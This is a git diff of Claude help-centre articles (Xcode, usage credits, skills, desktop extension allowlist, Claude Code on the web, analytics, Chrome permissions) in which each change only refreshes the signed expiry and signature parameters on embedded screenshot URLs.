-![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1719768744/c7a2fa56cf284e48472f3b9c4dbf/030563f8-9f97-4891-a749-9ae95968a063?expires=1789501500&signature=ce56a114bb83c6c604fad4f8f33191cf10a29c53832bceec6383132ada39c69c&req=dScmH854lYZbXfMW1HO4zeUcuwu4buSODCAt3Cx%2FSO3uIhSapNhxcgNE5xyi%0A3NXxc6hSjCUKXwqaE38%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1719768744/c7a2fa56cf284e48472f3b9c4dbf/030563f8-9f97-4891-a749-9ae95968a063?expires=1789538400&signature=6db0fcac3ef3a78b321f8d85b0f4cc5b74b83d57c5b5ef2934473a72c60b7249&req=dScmH854lYZbXfMW1HO4zeUcuwu4be2PDCAt3Cx%2FSO252oL1cHtLdGVHa9FJ%0AKjeWuNl95FE92B19FZ4%3D%0A) 1. Click the ghost icon to enable incognito mode. diff --git a/content/support/12293051-use-claude-in-xcode.md b/content/support/12293051-use-claude-in-xcode.md index 79f8faddb6..704c5baae8 100644 --- a/content/support/12293051-use-claude-in-xcode.md +++ b/content/support/12293051-use-claude-in-xcode.md @@ -34,7 +34,7 @@ To start using Claude in Xcode: 3. Log in with your Claude account. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1727371585/b18ca03a6357c52d12d10386f28e/dab2dcb2-f670-4173-b77d-38767a34cec1?expires=1789501500&signature=8f3c7172d4c05e8099d2a7a29ef0ca27f7ace064765db2866d6ba41eee06192d&req=dSclEcp5nIRXXPMW1HO4zUAXI8UHUqnRFalhp3bugHJUMbnvi1yUtdsR4JRb%0AE%2BIvT7J1V2xgp0G%2BiCE%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1727371585/b18ca03a6357c52d12d10386f28e/dab2dcb2-f670-4173-b77d-38767a34cec1?expires=1789538400&signature=aa237c4495c2c8658d4913f2051ee35cc1288b432e4763fad13b1e68cce5b999&req=dSclEcp5nIRXXPMW1HO4zUAXI8UHUaDQFalhp3bugHIuf1onjBvLIkmUZp7m%0A2bicFyIPHl0Vc7PXqbA%3D%0A) ## Usage limits diff --git a/content/support/12429409-manage-usage-credits-for-paid-claude-plans.md b/content/support/12429409-manage-usage-credits-for-paid-claude-plans.md index 488c26fa81..684c3546a3 100644 --- a/content/support/12429409-manage-usage-credits-for-paid-claude-plans.md +++ b/content/support/12429409-manage-usage-credits-for-paid-claude-plans.md @@ -46,7 +46,7 @@ To enable usage credits on your paid Claude plan: 8. You can also enable auto-reload to automatically make a purchase when your balance falls below a threshold you set: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1805819785/5e203c38e6ba3f76bfd1dab0d5ce/fe062e7c-18cb-48cc-a7e2-754ac6e6c4be?expires=1789501500&signature=6b537db9344a967a96735602ff7c4af73aa1794ca271f4af704bae93e3bfc0e3&req=dSgnE8F%2FlIZXXPMW1HO4zYj2ARucpfE9opE7m38YdfeC0sDraGrOulWZloNN%0ASSKMzZiRBEhEXbvUIMw%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1805819785/5e203c38e6ba3f76bfd1dab0d5ce/fe062e7c-18cb-48cc-a7e2-754ac6e6c4be?expires=1789538400&signature=6a56a75b00e64233ac53633c0d4de6d4be5170b3af2500d8e7c9a7244df51ca9&req=dSgnE8F%2FlIZXXPMW1HO4zYj2ARucpvg8opE7m38YdffiMfDLPn3%2FjXeW2SSL%0AevCQUaVOVbJXb8NYydc%3D%0A) **Note:** There is a daily redemption limit of $2000. diff --git a/content/support/12466728-troubleshoot-claude-error-messages.md b/content/support/12466728-troubleshoot-claude-error-messages.md index 8d6664d112..0eb47985af 100644 --- a/content/support/12466728-troubleshoot-claude-error-messages.md +++ b/content/support/12466728-troubleshoot-claude-error-messages.md @@ -58,4 +58,4 @@ Capacity issues will not appear on our status page because they represent normal Service incidents are disruptions where Claude is unavailable or significantly degraded for all or most users. These represent actual technical problems with our systems. To check for confirmed incidents, visit status.claude.com, where you'll find real-time updates on scope, impact, and resolution progress for any active incidents. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1753796247/e6a8c6ef8653b229c5758e881242/c2fc6fc0-d163-4119-93e0-394104d86bc9?expires=1789501500&signature=043ea1a9e28b726813a0fdd224d3dc55683e4e4043312ac80ea5a893e35c29d2&req=dSciFc53m4NbXvMW1HO4za4BXqYm0rPB7y68oYp%2BYg%2B3wZSjxrn5vneve%2FV6%0A1LRefoxMFqJ9%2BWY6luc%3D%0A) \ No newline at end of file +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1753796247/e6a8c6ef8653b229c5758e881242/c2fc6fc0-d163-4119-93e0-394104d86bc9?expires=1789538400&signature=78b7072233a4bb87557246037314f78cbb49bbd41b51152a3ea57a7a3b1a3b29&req=dSciFc53m4NbXvMW1HO4za4BXqYm0brA7y68oYp%2BYg9cM6dTcRSWV7K8A%2FtI%0Avwt8qaT%2BGEYOn8Ig7qI%3D%0A) \ No newline at end of file diff --git a/content/support/12512180-use-skills-in-claude.md b/content/support/12512180-use-skills-in-claude.md index 1c7eaede9d..27aa26d710 100644 --- a/content/support/12512180-use-skills-in-claude.md +++ b/content/support/12512180-use-skills-in-claude.md @@ -166,7 +166,7 @@ To remove a custom skill you've uploaded: 4. To delete the custom skill entirely, click the "..." button next to the toggle, then select "Delete": - ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2105391273/8359cbf8be20dce0f1cd3fd40e6f/CleanShot-2B2026-02-25-2Bat-2B15_50_16.png?expires=1789501500&signature=c84e4a9b742fc8b3c26a697085812fe43f19f115985f36c0c089275a12107fb6&req=diEnE8p3nINYWvMW1HO4zSOgDyItwueoH%2BdCnFXB0ui%2B9enThTiIIWFLfOJU%0A9WcT%0A) + ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2105391273/8359cbf8be20dce0f1cd3fd40e6f/CleanShot-2B2026-02-25-2Bat-2B15_50_16.png?expires=1789538400&signature=682d9a93e391fba78c5e22312a71dc6bbbcdc9813147088e03c05c5948bef18e&req=diEnE8p3nINYWvMW1HO4zSOgDyItwe6pH%2BdCnFXB0ug0Y2bHJXNj6VUx24qy%0Aap%2Fg%0A) 5. Click "Delete" in the confirmation prompt. diff --git a/content/support/12592343-enabling-and-using-the-desktop-extension-allowlist.md b/content/support/12592343-enabling-and-using-the-desktop-extension-allowlist.md index 8cad2fd8aa..63cabace54 100644 --- a/content/support/12592343-enabling-and-using-the-desktop-extension-allowlist.md +++ b/content/support/12592343-enabling-and-using-the-desktop-extension-allowlist.md @@ -20,11 +20,11 @@ The desktop extension allowlist is disabled by default, so an organization Owner 4. Switch to the "Desktop" tab: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1781755172/63c92550571842577ad435860ec5/6f5cc4e1-ff7d-48de-863a-c4e6184d4605?expires=1789501500&signature=97ac70e162f23c781615bd4737df653d44e06c1ace74d833c4df3fe777235e80&req=dScvF857mIBYW%2FMW1HO4zQ9pXUMP%2F3He0ugSQm1MFW%2FCsLATL7NMymge5c%2Fg%0ApFOc%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1781755172/63c92550571842577ad435860ec5/6f5cc4e1-ff7d-48de-863a-c4e6184d4605?expires=1789538400&signature=08d8fa92b6519f8f35d169b32cbe8b3ab3d3c2f862b712bdd29c78cd8c5cf689&req=dScvF857mIBYW%2FMW1HO4zQ9pXUMP%2FHjf0ugSQm1MFW8iF8nIIh9b%2BVwoEKto%0A9nmc%0A) 5. Toggle **Allowlist** on: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1781755578/a6bafff5f084dc86ae463703fd3d/6cf0ee18-4e71-4129-98e8-cc08174e3c3a?expires=1789501500&signature=2ecf615c0ba4f5c2dec11980e6eacd27d97dcffa097284efd7b9974bcbb21e15&req=dScvF857mIRYUfMW1HO4zaj0BHguSaYBTAorLxpdoc%2B8ByfLpAh1mF8qWONl%0AYYoh%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1781755578/a6bafff5f084dc86ae463703fd3d/6cf0ee18-4e71-4129-98e8-cc08174e3c3a?expires=1789538400&signature=91d954975510cb0e15311ebf2acdb13bcaf79bfece9f1b3687e51178d5a06672&req=dScvF857mIRYUfMW1HO4zaj0BHguSq8ATAorLxpdoc%2BHHkv6e5g%2B7qi0Mryr%0AcefJ%0A) ## What happens after enabling the allowlist? @@ -42,7 +42,7 @@ Consider completing the allowlist setup during off-hours to minimize disruption **Important:** The allowlist requires Claude Desktop version 0.13.91 or higher, so users should update the desktop app by clicking “Claude”, then either “Check for updates” or “Restart to update to Claude 0.13.91”: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1781756960/ad18af50c83d35f2673656c23e00/a7ee450f-0c7d-42d6-a75f-fb1bc088cb52?expires=1789501500&signature=e5ac70c630687f1ae0709ed961f0f54d36e9478dc4861b6210fb54868b254f38&req=dScvF857m4hZWfMW1HO4zYUJqYqvCjPuCEDZ5AdBjIZnvHkXA56up4VsS7uA%0A%2BaAbdAMHjFolJxf2NBs%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1781756960/ad18af50c83d35f2673656c23e00/a7ee450f-0c7d-42d6-a75f-fb1bc088cb52?expires=1789538400&signature=2bee018f4153eb38fc748c295c4450423bd54551fa50a329ee91c31ed91c3c01&req=dScvF857m4hZWfMW1HO4zYUJqYqvCTrvCEDZ5AdBjIbAIYE3e%2BDjKZa7w3gb%0ASc%2FISiyDrLeopjUNE2w%3D%0A) ## Managing allowed extensions @@ -60,7 +60,7 @@ After enabling the allowlist, you can choose which extensions to allow: If you want to remove an extension from the allowlist, click the “...” button and “Remove from allowlist.” -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1781751250/6558c0f59aea7976bd44b0213d76/e750f02b-cd0d-437e-a83f-9ac362cdf456?expires=1789501500&signature=4d9aebd14dadab4f5b9de097511357bc616148dd674e4880695f49f144ad76ac&req=dScvF857nINaWfMW1HO4zTrxBaEs%2F1aQqXridZhfx1I7fhz2RxUJE102Kys9%0AGyB%2FnX72SmEKZs4QRPE%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1781751250/6558c0f59aea7976bd44b0213d76/e750f02b-cd0d-437e-a83f-9ac362cdf456?expires=1789538400&signature=c8c87d37c079dea984ef125e6073fc4a03015d2b0f46e24ce555b64e04cc05e7&req=dScvF857nINaWfMW1HO4zTrxBaEs%2FF%2BRqXridZhfx1Iude78up3SkITFqQmN%0AKqrqv1U%2FBsi3HL5Fndw%3D%0A) ## Uploading custom extensions diff --git a/content/support/12618689-claude-code-on-the-web.md b/content/support/12618689-claude-code-on-the-web.md index 735d22b97e..0edebc86c5 100644 --- a/content/support/12618689-claude-code-on-the-web.md +++ b/content/support/12618689-claude-code-on-the-web.md @@ -10,7 +10,7 @@ This feature works with repositories you may not have on your local machine. You Claude Code for web enables asynchronous development workflows. With Claude Code in your terminal or editor, you typically work synchronously: you make a request, wait for Claude to respond, review the changes, then make another request. Synchronous work like this gives you fine-grained control but requires your attention throughout the process. Claude Code on the web handles this differently: you can assign a larger task, let Claude work independently, and return later to review the completed work. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1786446157/07ec74cd46317f8278083a317841/6448f3ee-c6df-4417-8a13-90d8c2ca3d55?expires=1789501500&signature=cc80cadc4fd50216354a246082b3a68f128d6c83bd6cdc619859b6b6f01a07b9&req=dScvEM16m4BaXvMW1HO4zR8%2BAFqFQpxz7XrRA1YwWGtEOna9036bRJ%2Bk5Gjz%0AgSl3n4j8NzQBMO%2F0Ks0%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1786446157/07ec74cd46317f8278083a317841/6448f3ee-c6df-4417-8a13-90d8c2ca3d55?expires=1789538400&signature=3458bb095ac364333be2e60cfff1c1374004e0e02752791dba3081248b0c4d75&req=dScvEM16m4BaXvMW1HO4zR8%2BAFqFQZVy7XrRA1YwWGsqz4GxfTKH4VPytb68%0Azejh2phhSk7LlC1pQCo%3D%0A) You can also run multiple tasks in parallel. Since each task runs in its own isolated environment, you can have Claude working on several different issues or repositories simultaneously. Each task proceeds independently and creates its own pull request when complete. More than one task can work on the same repository at the same time. @@ -18,13 +18,13 @@ You can also run multiple tasks in parallel. Since each task runs in its own iso When you start a task, Claude Code on the web creates an isolated virtual machine for your work. Your GitHub repository is cloned into this environment, which comes pre-configured with common development tools and language ecosystems. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1786446158/c092f1383826cb871493f74169d4/97b7cb98-5da2-438e-a920-e170b8b9790e?expires=1789501500&signature=5058855a101ec14601b39938d47be16ce7141435314b93cd24526fd930be94f5&req=dScvEM16m4BaUfMW1HO4zcR0rZ8xj%2BjF7DtpMiX%2FBYmOivymOwYAC8a1%2B1fg%0AqNA12RiavkY5NNGDb4c%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1786446158/c092f1383826cb871493f74169d4/97b7cb98-5da2-438e-a920-e170b8b9790e?expires=1789538400&signature=2c81ae1915c0d8b6c52eb59c34b75a509fac377341e7a0f4d1daae1bcf117417&req=dScvEM16m4BaUfMW1HO4zcR0rZ8xjOHE7DtpMiX%2FBYnXHv%2B5SpUXiqkJyspI%0AeLN8hHE13zdaqNVSSGE%3D%0A) Claude prepares the environment by running any setup commands you've defined in your repository's configuration. This includes installing dependencies, setting up databases, or running other initialization steps your project needs. If your task requires network access, maybe to install packages or fetch data, you can configure the level of internet access the environment has. Once the environment is ready, Claude begins working on your task. Claude reads your code, makes changes, writes tests, and runs commands to verify the work. You can monitor progress and provide guidance through the web interface if needed. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1786446156/83ecf0a5b98eddc9ffc9694c50f7/353589ce-b678-441d-8909-71b45fa2d065?expires=1789501500&signature=de47921e154274d517469045390d7cf54c11a3d03df806f62bd2fb0dfb83a5a3&req=dScvEM16m4BaX%2FMW1HO4zVbcTGqG48XLUQl3YqgIJdYneww0KQabxsqq%2FSXp%0AgnGgeOUYi5r7bQW%2FQP8%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1786446156/83ecf0a5b98eddc9ffc9694c50f7/353589ce-b678-441d-8909-71b45fa2d065?expires=1789538400&signature=a719a571f25eb6c5af22b523cce830c9cca42b3c2b6e574c8d5e0363d4b6cd02&req=dScvEM16m4BaX%2FMW1HO4zVbcTGqG4MzKUQl3YqgIJdampF7Kizy3pjL9Bf41%0AipUiBcqI25ZACbA2tOU%3D%0A) When Claude completes the task, it pushes the changes to a new branch in your GitHub repository. You receive a notification and can review the changes, then create a pull request directly from the interface. The pull request includes all of Claude's work, ready for your review and any additional changes you want to make. diff --git a/content/support/12626668-use-quick-entry-with-claude-desktop-on-mac.md b/content/support/12626668-use-quick-entry-with-claude-desktop-on-mac.md index bb2adf0c27..edff7a071e 100644 --- a/content/support/12626668-use-quick-entry-with-claude-desktop-on-mac.md +++ b/content/support/12626668-use-quick-entry-with-claude-desktop-on-mac.md @@ -40,7 +40,7 @@ When you first open the updated version of Claude Desktop, you'll see a prompt t Once enabled, double-tapping Option will open a text box where you can type your message and start a new chat. You can also click "New chat" to see your five most recent conversations. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1893088365/2ca4b782dda90abea1fe5f4150af/CleanShot+2025-12-18+at+13_14_30%402x.png?expires=1789501500&signature=676c39c9fea05ae1d39d8f2f8138e122d931a8e2aa9097b456328c63b620c073&req=dSguFcl2lYJZXPMW1HO4zWggD9dUpp2fRC8c%2FcM5c2J7kXenMQ794QkoSP%2Bw%0A8nyPefyUYQ5veDC3DV0%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1893088365/2ca4b782dda90abea1fe5f4150af/CleanShot+2025-12-18+at+13_14_30%402x.png?expires=1789538400&signature=f2465abee8814d7353ff8c23a5f4af40b3520689995b21aa45cdaa39360997f9&req=dSguFcl2lYJZXPMW1HO4zWggD9dUpZSeRC8c%2FcM5c2ILHsKcshcdx0bdLatd%0AExwhaZOM8BLy2Ko93mU%3D%0A) ### Enable the voice shortcut (optional) diff --git a/content/support/12883420-view-usage-analytics-for-team-and-enterprise-plans.md b/content/support/12883420-view-usage-analytics-for-team-and-enterprise-plans.md index 9fa2890787..b1d1951a4d 100644 --- a/content/support/12883420-view-usage-analytics-for-team-and-enterprise-plans.md +++ b/content/support/12883420-view-usage-analytics-for-team-and-enterprise-plans.md @@ -22,7 +22,7 @@ This page includes the following analytics: - Sessions in Cowork -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515895966/9f231a620f47d49e0ee648152189/848c1787-4eaa-4809-8fd2-1dbe2722560f?expires=1789501500&signature=ea0dff420be1a6b742947c907e0e9c11145bcca0a0aa470e23a0dc0a40597228&req=diUmE8F3mIhZX%2FMW1HO4zZL6wa93m4R0ExEG4dCAGDYLs4AbQdpH6hYIg%2BPB%0ALWAioib2T4BXJYuguHs%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515895966/9f231a620f47d49e0ee648152189/848c1787-4eaa-4809-8fd2-1dbe2722560f?expires=1789538400&signature=782dc952522ed0932838a0447f875f6526fd23a03e4dfc8faf14a270fb97718d&req=diUmE8F3mIhZX%2FMW1HO4zZL6wa93mI11ExEG4dCAGDZqLF5LsM87F7Qi0JoC%0ApHgzNVyUofFVt6r8blM%3D%0A) ### Who’s using Claude? @@ -34,7 +34,7 @@ This page includes the following analytics: Use the dropdown on the **Active members and assigned seats** chart to filter by product, including Claude Design. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515896351/4d955858e6662c37489cc1470871/457cf159-8c2a-4403-ba22-cb92cb47e459?expires=1789501500&signature=466405d9a8cf1de1149976a530d40e053543ab2bc2079215cfe7014fe998b63d&req=diUmE8F3m4JaWPMW1HO4zYEqej6sQpGqYqPRsgaNdTyOiQhUFbwXJbbTAqou%0Am4UpTQR5v2OanXzD484%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515896351/4d955858e6662c37489cc1470871/457cf159-8c2a-4403-ba22-cb92cb47e459?expires=1789538400&signature=08afec20b3f27fbdaea3b455f2a73ae83e100b30a05532853234f050d031ccdb&req=diUmE8F3m4JaWPMW1HO4zYEqej6sQZirYqPRsgaNdTxxvnmjQg0Awm7BB4gg%0AEW78S7090T%2FFQpD1Zck%3D%0A) ### How are they using Claude? @@ -48,9 +48,9 @@ Use the dropdown on the **Active members and assigned seats** chart to filter by - How agentic is their work? (beta) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2583875713/e3cb3c329f3b643cb9a3809876b3/image.png?expires=1789501500&signature=2db4abe51520f0a44fe4bb84537fa91cb2d95ad8f2bc9595a29a35754635b551&req=diUvFcF5mIZeWvMW1HO4zciS3aHsmr9uDFD6TO7tG4gGmTlbdmVkMj9CRByj%0ARYa3zWvNAX2fMa7YN4k%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2583875713/e3cb3c329f3b643cb9a3809876b3/image.png?expires=1789538400&signature=0968e416f2292f3d40605120ced58133c91e55439b25d92ff65ab588abcb57f8&req=diUvFcF5mIZeWvMW1HO4zciS3aHsmbZvDFD6TO7tG4ieEP1lwzmtxTW6XT4l%0AH4noat5LlhX%2BN%2BhDrhI%3D%0A) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515896563/abf008596ce5501297a609696362/fce5423c-4769-4b73-9a0a-c50f6407ebea?expires=1789501500&signature=40425bed89f3bf2f7854f7e80586893862b5ad717c114b0304a0d72a3c59d33d&req=diUmE8F3m4RZWvMW1HO4zR%2BIDo5rvfbyLS3kobW3ZgRiB1HQZA4NFNUi6Pgx%0AQrqKpPIzy%2F4l3O1xr90%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515896563/abf008596ce5501297a609696362/fce5423c-4769-4b73-9a0a-c50f6407ebea?expires=1789538400&signature=121156af7d8c785996186aeb534ac527e74f35a0601a879ec4331492f28b1a1b&req=diUmE8F3m4RZWvMW1HO4zR%2BIDo5rvv%2FzLS3kobW3ZgSa098vKrlzG5wszUcX%0AUMD5ErAvrmwZ%2FtTpkNE%3D%0A) ### What are the results? @@ -66,7 +66,7 @@ Use the dropdown on the **Active members and assigned seats** chart to filter by - Estimated time saved -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515896943/dd415f03afe56ca38308ef987f86/189e8ebc-5594-4f4b-bd84-e3c11c824d5b?expires=1789501500&signature=6ebeafe00442a1dbbb193b8c993884b6ec1b31e3bb5c6f1b79619f41832ff215&req=diUmE8F3m4hbWvMW1HO4zfJThC06qd1DiovaLYNN7Rk1H%2FA4Za9ZPn8wE8uj%0AyjXxcwLOpKJu6t9byNA%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515896943/dd415f03afe56ca38308ef987f86/189e8ebc-5594-4f4b-bd84-e3c11c824d5b?expires=1789538400&signature=ba4922dec6d53758fad3c6cb58ed5a455f73bf8a78548e9b535d70788a4d89be&req=diUmE8F3m4hbWvMW1HO4zfJThC06qtRCiovaLYNN7RmZP%2FAZ3NaMCdJTIUhC%0AZfdgTZoiiNKtQOg2Ilc%3D%0A) ### How much is Claude costing? @@ -82,9 +82,9 @@ This section includes the following analytics: - Spend by model (month-to-date, quarter-to-date, year-to-date, 1 year) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515896942/b403f2d216fc40b5195911020b8e/446b99f1-3187-4b79-b2be-9f17b1632ff8?expires=1789501500&signature=f3b5f3452acd7ff314a4b6d47d66a6336c94653044fff8a99f104b1d6e679998&req=diUmE8F3m4hbW%2FMW1HO4zYE%2BQ9cH7DDYWbBLGZ4vBJUVKv3DQmDpenm7rqUr%0ANf3YKA%2FZrqzXTIrpYks%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515896942/b403f2d216fc40b5195911020b8e/446b99f1-3187-4b79-b2be-9f17b1632ff8?expires=1789538400&signature=e2ac9be0f2ab8484439c1bd0feb56a81198ef95fec9c698ef516a6b201e7b8e8&req=diUmE8F3m4hbW%2FMW1HO4zYE%2BQ9cH7znZWbBLGZ4vBJUbPVdCXqWxwMfINl%2BN%0AMscXb9JY%2Bpd6mz23rrw%3D%0A) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515896941/2239ce38639df339b24d5af1cb50/f829bc2a-ee52-4135-9b13-09ef1b7d66d6?expires=1789501500&signature=4885f00cf325623fdae5f302c98eaede28b11540d5f6482dbf6a4fae9c6d799e&req=diUmE8F3m4hbWPMW1HO4zTz0NuMHJ8hVC%2BtvTPa1I7H7BW6g2M5L%2Bh0BBN6G%0ALy5AQjKA0LSp9Zb0fAo%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515896941/2239ce38639df339b24d5af1cb50/f829bc2a-ee52-4135-9b13-09ef1b7d66d6?expires=1789538400&signature=4ebf137b259a500e27ea947c53c41c4b6da73d636de4babce2188b8d5c8febbf&req=diUmE8F3m4hbWPMW1HO4zTz0NuMHJMFUC%2BtvTPa1I7EdtwRCAWXyXL%2FCoyEC%0ASKD02ukrJSm9rzh7pwI%3D%0A) ## Export a spend report @@ -160,7 +160,7 @@ Navigate to **[Analytics > Claude Chat](https://claude.ai/analytics/usage)** to - Top members by chats -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515898793/405db0c492da11886c28a2b82731/71a55afc-1cef-4c50-b7e1-86775cb9a168?expires=1789501500&signature=cff37a1129cea59a4f6e252acc6c4e34d31be72f64d23fb00b31ce843d6637e8&req=diUmE8F3lYZWWvMW1HO4zbhc8fSZYeUkTcfMEUwBBiWG53QaRPwNB1Pv3IYW%0AOsDev3BXdc4jOvTAXX8%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515898793/405db0c492da11886c28a2b82731/71a55afc-1cef-4c50-b7e1-86775cb9a168?expires=1789538400&signature=4781d5e6b95bea3f3aad3e25b93112edbb0a832ab0d61cd8bd015f3ca42735e2&req=diUmE8F3lYZWWvMW1HO4zbhc8fSZYuwlTcfMEUwBBiXRx0ajw3W7C6OjE9q7%0ALTphhD%2Fu5mQggIkl1wQ%3D%0A) ### Projects @@ -172,7 +172,7 @@ Navigate to **[Analytics > Claude Chat](https://claude.ai/analytics/usage)** to - Top members by project usage -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515899610/91d93108f0767e795fb9e488e882/71607d6d-dff1-4a13-a445-aa1d79850eed?expires=1789501500&signature=3d78ddfa40491b911e4e0ae38d318232f68e5465b1f8cd878f51306e97d40803&req=diUmE8F3lIdeWfMW1HO4zWhGoTWcmyKnExu5cYiHHN%2BYu6e3GUcWff7WeXLF%0AcUmeHGwdM8ZdZ5eptT0%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515899610/91d93108f0767e795fb9e488e882/71607d6d-dff1-4a13-a445-aa1d79850eed?expires=1789538400&signature=ac1392367907d6ac1fc14733f28e6c46bef3d5d9865a685130683f97eff371df&req=diUmE8F3lIdeWfMW1HO4zWhGoTWcmCumExu5cYiHHN%2FiGIUMp%2B9fOn%2FWCHUP%0AYLA6QRYnw4Dhgz8IrJE%3D%0A) ### Artifacts @@ -182,7 +182,7 @@ Navigate to **[Analytics > Claude Chat](https://claude.ai/analytics/usage)** to - Top 10 users by artifacts generated (month-to-date, quarter-to-date, year-to-date, 1 year) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515899838/33d737f2357d6e485704669962ae/43faadc3-47da-4a93-bbb7-47a7983e7441?expires=1789501500&signature=1ca89ec34ce4a10ff0445cd4274f4ddde869a14de8aa8b8789e1ce0fcf3f74da&req=diUmE8F3lIlcUfMW1HO4zcSk4rPXfu%2FFjHDogqK0V%2BzpnlFvWFpakIVFzftm%0ASTDBavMh%2B11rMuj9CgQ%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515899838/33d737f2357d6e485704669962ae/43faadc3-47da-4a93-bbb7-47a7983e7441?expires=1789538400&signature=b01a92f7947e84b60461e69fee1ca8db4f8f25b51b9fe7efab1512bf89e96000&req=diUmE8F3lIlcUfMW1HO4zcSk4rPXfebEjHDogqK0V%2BzZ5YAhzsZPpmE%2Flhfj%0AIRiq%2BjW%2FiL315iQRUJ8%3D%0A) --- @@ -278,7 +278,7 @@ Navigate to **[Analytics > Cowork](https://claude.ai/analytics/cowork)** to view - Daily, weekly, and monthly active Cowork users -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515901489/8005693d55b7fefbfe9233258d39/106c22a0-3f47-47a6-abbd-4788dd70f218?expires=1789501500&signature=d96c7c1b5f528d03e0acd8a249f96f8ceeb61649d8ed4001aa72a0b48d8a8545&req=diUmE8B%2BnIVXUPMW1HO4zX7WEoG0XUCtFSi1Z3SzLLt9VgvdtLMZWfym8vjf%0AnKkTxlB0nGQWaPIkFpY%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2515901489/8005693d55b7fefbfe9233258d39/106c22a0-3f47-47a6-abbd-4788dd70f218?expires=1789538400&signature=e5ebea63b9c014a7d0171439cfc485457b2b1359f438df43850fe5c2dca60dd7&req=diUmE8B%2BnIVXUPMW1HO4zX7WEoG0XkmsFSi1Z3SzLLs7SGh6DfqQJ5USRxxW%0AGRd8YbdvYfOBQ5iQGlU%3D%0A) **Note:** Cowork analytics are available alongside Chat and Claude Code data in the **[Analytics API](https://platform.claude.com/docs/en/manage-claude/analytics-api)**. @@ -294,7 +294,7 @@ Navigate to **[Analytics > Surveys](https://claude.ai/analytics/surveys)** to as On Enterprise plans with usage-based billing, when your admin turns on individual usage analytics, any member of the organization can see their own usage broken down by product, model, and skill, along with where they stand against any spend limits set for them. Individual usage analytics are available in **[Settings > Usage](https://claude.ai/settings/usage)**. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2533906328/1f5cd0a57def40676410f8f379b4/member-usage-30d-model.png?expires=1789501500&signature=9baa9c64952e08f824b292c7abe6ddd27fe02a4c8aece7c5dbbce17f90c5ef32&req=diUkFcB%2Bm4JdUfMW1HO4zfveB6bAfOrfWGUKUw6QS4%2BvifiOyMHPgoP53hA7%0A5pzP48tVYqrI1xzO7SM%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2533906328/1f5cd0a57def40676410f8f379b4/member-usage-30d-model.png?expires=1789538400&signature=0ea3e50d7c5a7373d30b7b32607d2f0daefe81d82b982424b400460f86a93102&req=diUkFcB%2Bm4JdUfMW1HO4zfveB6bAf%2BPeWGUKUw6QS486taMHFj6iIWq3p0YM%0A5nw1gJaS9PmmS9RphTE%3D%0A) --- diff --git a/content/support/12902446-claude-in-chrome-permissions-guide.md b/content/support/12902446-claude-in-chrome-permissions-guide.md index 54276d10aa..ae200f8525 100644 --- a/content/support/12902446-claude-in-chrome-permissions-guide.md +++ b/content/support/12902446-claude-in-chrome-permissions-guide.md @@ -28,7 +28,7 @@ In "Manually approve," Claude checks with you before it acts. What that looks li Claude creates a plan from your prompt, which you can approve before Claude starts. The plan specifies which websites you're allowing Claude to access, as well as the approach it will follow: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1843320727/8d1c859ae9b8e0cdb536d024bf40/9bc3d239-8eb6-4bae-a032-a236f88ee606?expires=1789501500&signature=605c50c2dd92c877e96890c91ec7e678767fa022ca5649e8bb8665d3c69be0bf&req=dSgjFcp8nYZdXvMW1HO4zYqyZctI%2FIOygN0ADj5oqFB9kOLETmvHBqiJ%2BOjz%0AhF8ppsiwun9lo5v8drE%3D%0A) 